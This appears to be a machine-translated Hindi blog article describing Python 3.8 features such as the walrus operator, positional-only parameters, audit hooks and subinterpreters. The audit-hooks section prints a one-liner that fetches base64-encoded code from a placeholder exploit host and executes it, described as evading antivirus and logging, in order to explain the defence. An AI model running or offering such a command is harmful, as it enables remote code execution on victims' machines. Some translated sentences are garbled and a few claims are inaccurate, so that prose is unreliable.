पायथन 3.8: नया क्या है और इसका उपयोग कैसे करें?

निम्नलिखित अनुवाद विशेष रूप से अजगर के लिए तैयार किए गए हैं जो नए पायथन 3.8 विशेषताओं के बारे में निश्चित रूप से पढ़ने में रुचि रखते हैं। "पायथन डेवलपर" पाठ्यक्रम पर एक नए सूत्र के लॉन्च की प्रत्याशा में , हम इस विषय को नहीं पा सकते हैं।

इस लेख में, हम उन नई विशेषताओं के बारे में बात करेंगे जो पायथन 3.8 में पेश की गई थीं।

---

वालरस ऑपरेटर (असाइनमेंट ऑपरेटर)

हम जानते हैं कि आप इसके लिए इंतजार कर रहे थे। यह उम्मीद उन दिनों की है जब पायथन को तुलनात्मक ऑपरेटर के रूप में "=" का उपयोग करने के लिए जानबूझकर मना किया गया था। कुछ लोगों ने इसे पसंद किया क्योंकि वे अब असाइनमेंट और तुलना में = = = भ्रमित नहीं हुए। अन्य लोगों ने ऑपरेटर को दोहराना, या उसे किसी चर में निर्दिष्ट करना असहज पाया। चलिए एक उदाहरण पर चलते हैं।

गुइडो के अनुसार, अधिकांश प्रोग्रामर लिखते हैं:

group = re.match(data).group(1) if re.match(data) else None 

के बदले

 match = re.match(data) group = match.group(1) if match else None 

यह प्रोग्राम को धीमा बनाता है। हालाँकि यह समझ में आता है कि कुछ प्रोग्रामर अभी भी पहले तरीके से क्यों नहीं लिखते हैं - यह कोड को काटता है।

अब हमारे पास ऐसा करने का अवसर है:

 group = match.group(1) if (match := re.match(data)) else None 

इसके अलावा, अगर यह उपयोग करते समय उपयोगी है, तो सब कुछ अग्रिम में गणना करने के लिए नहीं।

 match1 = pattern1.match(data) match2 = pattern2.match(data) if match1: result = match1.group(1) elif match2: result = match2.group(2) else: result = None 

और इसके बजाय, हम लिख सकते हैं:

 if (match1 := pattern1.match(data)): result = match1.group(1) elif (match2 := pattern2.match(data)): result = match2.group(2) else: result = None 

जो अधिक इष्टतम है, दूसरे के बाद से अगर पहले काम करता है तो विचार नहीं किया जाएगा।

वास्तव में, मैं PEP-572 मानक से बहुत प्रसन्न हूं, क्योंकि यह न केवल पहले से मौजूद गैर-मौजूद अवसर देता है, बल्कि इसके लिए एक अलग ऑपरेटर का भी उपयोग करता है, इसलिए इसे == के साथ भ्रमित करना आसान नहीं होगा।

हालांकि, एक ही समय में, यह त्रुटियों के लिए नए अवसर और पहले के निष्क्रिय कोड के निर्माण को भी प्रदान करता है।

 y0 = (y1 := f(x)) 

स्थिति संबंधी तर्क

 def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f) 

यहां, पहले से सब कुछ / सख्ती से स्थितियां हैं, और * बाद सब कुछ सिर्फ कीवर्ड है।

 f(10, 20, 30, d=40, e=50, f=60) - valid f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument 

इस फ़ंक्शन का दायरा एक वाक्य में व्यक्त किया जा सकता है। पुस्तकालयों के लिए अपने हस्ताक्षर बदलना आसान होगा। आइए एक उदाहरण देखें:

 def add_to_queue(item: QueueItem): 

अब लेखक को इस तरह के हस्ताक्षर का समर्थन करना चाहिए, और पैरामीटर नाम को अब नहीं बदलना चाहिए, क्योंकि यह परिवर्तन महत्वपूर्ण हो जाएगा। कल्पना करें कि आपको केवल एक तत्व को बदलने की आवश्यकता नहीं है, लेकिन तत्वों की पूरी सूची:

 def add_to_queue(items: Union[QueueItem, List[QueueItem]]): 

या तो:

 def add_to_queue(*items: QueueItem): 

यह ऐसा कुछ है जो आप पिछले संस्करण के साथ संभावित असंगतताओं के कारण पहले नहीं कर सके। अब आप कर सकते हैं। इसके अलावा, यह उन डिज़ाइनों के साथ अधिक सुसंगत है जो पहले से ही इस दृष्टिकोण का उपयोग करते हैं। उदाहरण के लिए, आप पॉव फ़ंक्शन को क्वार्ग पास नहीं कर सकते।

 >>> help(pow) ... pow(x, y, z=None, /) ... >>> pow(x=5, y=3) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: pow() takes no keyword arguments 

एफ-लाइनों के साथ डिबगिंग

एक छोटा अतिरिक्त फ़ंक्शन जो हमें "वैरिएबल नेम =" वेरिएबल के कॉम्पैक्ट रिकॉर्डिंग फॉर्मेट का उपयोग करने में मदद करता है।

 f"{chr(65) = }" => "chr(65) = 'A'" 

क्या आपने chr (65) के बाद इस पर ध्यान दिया? वही चाल। यह एफ-लाइनों का उपयोग करके चर प्रिंट करने के लिए एक छोटा रास्ता प्रदान करने में मदद करता है।

देशी एसिंसीओ खोल

अब अगर हम पायथन शेल को 'अजगर-एम एसिंसीओ' के रूप में चलाते हैं, तो हमें एसिंक्रोनस कार्यों को चलाने के लिए अब asyncio.run() आवश्यकता नहीं है। Await का उपयोग सीधे शेल से ही किया जा सकता है:

 >python -m asyncio asyncio REPL 3.8.0b4 Use “await” directly instead of “asyncio.run()”. Type “help”, “copyright”, “credits” or “license” for more information. >>> import asyncio >>> async def test(): … await asyncio.sleep(1) … return 'hello' … >>> await test() 'hello' 

पायथन कॉल रनटाइम ऑडिट करता है

Python Rantime C. पर बहुत निर्भर करता है। हालाँकि, इसमें निष्पादित कोड किसी भी तरह से लॉग या ट्रैक नहीं किया जाता है। यह परीक्षण के लिए चौखटे के संचालन की निगरानी करना मुश्किल बनाता है, लॉगिंग के लिए चौखटे, सुरक्षा उपकरण और संभवतः, रनटाइम द्वारा किए गए कार्यों को सीमित करता है।

अब आप मॉड्यूल आयात प्रणाली के संचालन और किसी भी उपयोगकर्ता हुक सहित रनटाइम द्वारा ट्रिगर की गई घटनाओं का अवलोकन कर सकते हैं।

नया एपीआई इस प्रकार है:

 # Add an auditing hook sys.addaudithook(hook: Callable[[str, tuple]]) # Raise an event with all auditing hooks sys.audit(str, *args) 

हुक को हटाया या प्रतिस्थापित नहीं किया जा सकता है। सीपीथॉन के लिए, सी से आने वाले हुक को वैश्विक माना जाता है, जबकि पायथन से आने वाले हुक केवल वर्तमान दुभाषिया के लिए हैं। इंटरप्रेटर हुक से पहले ग्लोबल हुक निष्पादित किए जाते हैं।

एक विशेष रूप से दिलचस्प और गैर-ट्रैक किए गए शोषण इस तरह दिख सकते हैं:

 python -c “import urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen('http://my-exploit/py.b64') ).decode())” 

यह कोड अधिकांश एंटीवायरस प्रोग्राम द्वारा स्कैन नहीं किया जाता है, क्योंकि वे पहचानने योग्य कोड पर ध्यान केंद्रित करते हैं जो डिस्क पर लोड होने और लिखने के दौरान पढ़ा जाता है, और बेस 64 इस सिस्टम के आसपास पाने के लिए पर्याप्त है। यह कोड सुरक्षा स्तर भी पास करेगा जैसे फ़ाइल एक्सेस कंट्रोल लिस्ट या अनुमतियाँ (जब फ़ाइल एक्सेस की आवश्यकता नहीं होती है), विश्वसनीय एप्लिकेशन सूचियाँ (यह मानते हुए कि पायथन के पास सभी आवश्यक अनुमतियां हैं), और स्वचालित ऑडिटिंग या लॉगिंग (प्रदान की गई है) पायथन में इंटरनेट तक पहुंच है या स्थानीय नेटवर्क पर किसी अन्य मशीन तक पहुंच है जिसके साथ आप पेलोड प्राप्त कर सकते हैं)।

रनटाइम ईवेंट हुक के साथ, हम यह तय कर सकते हैं कि किसी विशेष घटना पर कैसे प्रतिक्रिया दें। हम या तो घटना को पंजीकृत कर सकते हैं या ऑपरेशन को पूरी तरह से समाप्त कर सकते हैं।

multiprocessing.shared_memory

विभिन्न प्रक्रियाओं / दुभाषियों से एक ही मेमोरी क्षेत्र का उपयोग करने में मदद करता है। मूल रूप से, यह हमें वस्तुओं को अनुक्रमित करने के लिए प्रक्रियाओं के बीच उन्हें स्थानांतरित करने में लगने वाले समय को कम करने में मदद कर सकता है। क्रमबद्ध करने, कतारबद्ध करने, और deserializing के बजाय, हम बस साझा स्मृति का उपयोग किसी अन्य प्रक्रिया से कर सकते हैं।

अचार प्रोटोकॉल और आउट-ऑफ-बैंड डेटा बफ़र्स

अचार 5 प्रोटोकॉल आउट-ऑफ-बैंड बफ़र्स के लिए समर्थन प्रदान करता है, जहां डेटा मुख्य ट्रांसपोर्ट परत के विवेक पर मुख्य अचार धारा से प्रेषित किया जा सकता है।

पिछले 2 ऐड-ऑन बहुत महत्वपूर्ण हैं, लेकिन वे पायथन 3.8 के रिलीज़ संस्करण में शामिल नहीं थे, क्योंकि अभी भी पुराने कोड के साथ संगतता के साथ कुछ काम करना है, लेकिन यह पायथन में समानांतर प्रोग्रामिंग के दृष्टिकोण को बदल सकता है।

उप-दुभाषिए

पायलोन में धागे जीआईएल के कारण समानांतर में नहीं चल सकते हैं, जबकि प्रक्रियाओं के लिए बहुत सारे संसाधनों की आवश्यकता होती है। केवल प्रक्रिया की शुरुआत में 100-200 एमएस लगते हैं, और वे बड़ी मात्रा में रैम का उपभोग भी करते हैं। लेकिन कुछ उनके साथ सामना कर सकते हैं, और ये उप-व्याख्याकार हैं। जीआईएल एक दुभाषिया है, इसलिए यह अन्य दुभाषियों के काम को प्रभावित नहीं करेगा, और यह एक प्रक्रिया से आसान शुरू होता है (यद्यपि एक थ्रेड की तुलना में धीमी)।

इस संबंध में मुख्य समस्या है दुभाषियों के बीच डेटा का हस्तांतरण, क्योंकि वे राज्य को स्थानांतरित नहीं कर सकते हैं, जैसा कि धाराएं करती हैं। इसलिए, हमें उनके बीच कुछ प्रकार के कनेक्शन का उपयोग करने की आवश्यकता है। अचार, मार्शल या जोंस का उपयोग वस्तुओं को क्रमबद्ध और ख़राब करने के लिए किया जा सकता है, लेकिन यह विधि काफी धीमी गति से काम करेगी। एक समाधान एक प्रक्रिया मॉड्यूल से साझा मेमोरी का उपयोग करना है।

सबप्रोसेस जीआईएल की समस्याओं का एक अच्छा समाधान है, लेकिन काम का एक निश्चित पूल अभी भी किया जाना चाहिए। कुछ मामलों में, पायथन अभी भी "दुभाषिया राज्य" के बजाय "रनटाइम स्टेट" का उपयोग करता है। उदाहरण के लिए, कचरा कलेक्टर बस यही करता है। इसलिए, आपको सामान्य तरीके से उप-दुभाषियों का उपयोग शुरू करने के लिए कई आंतरिक मॉड्यूल में बदलाव करने की आवश्यकता है।

मुझे उम्मीद है कि इस कार्यक्षमता को पहले से ही पायथन संस्करण 3.9 में तैनात किया जा सकता है।

अंत में, मैं यह कहना चाहता हूं कि इस संस्करण में एक निश्चित वाक्यगत शर्करा को जोड़ा गया है, साथ ही पुस्तकालयों के काम में कुछ गंभीर सुधार और निष्पादन की प्रक्रिया भी। हालांकि, कई दिलचस्प विशेषताओं ने इसे रिलीज में कभी नहीं बनाया, इसलिए हम पायथन 3.9 में उनकी प्रतीक्षा करेंगे।

सूत्रों का कहना है:

• पायथन में क्या नया है
• संचालक वालरस है
• स्थिति संबंधी तर्क
• ऑडिट हुक
• ऑडिट हुक के बिना सुरक्षा मुद्दे
• उप-दुभाषिए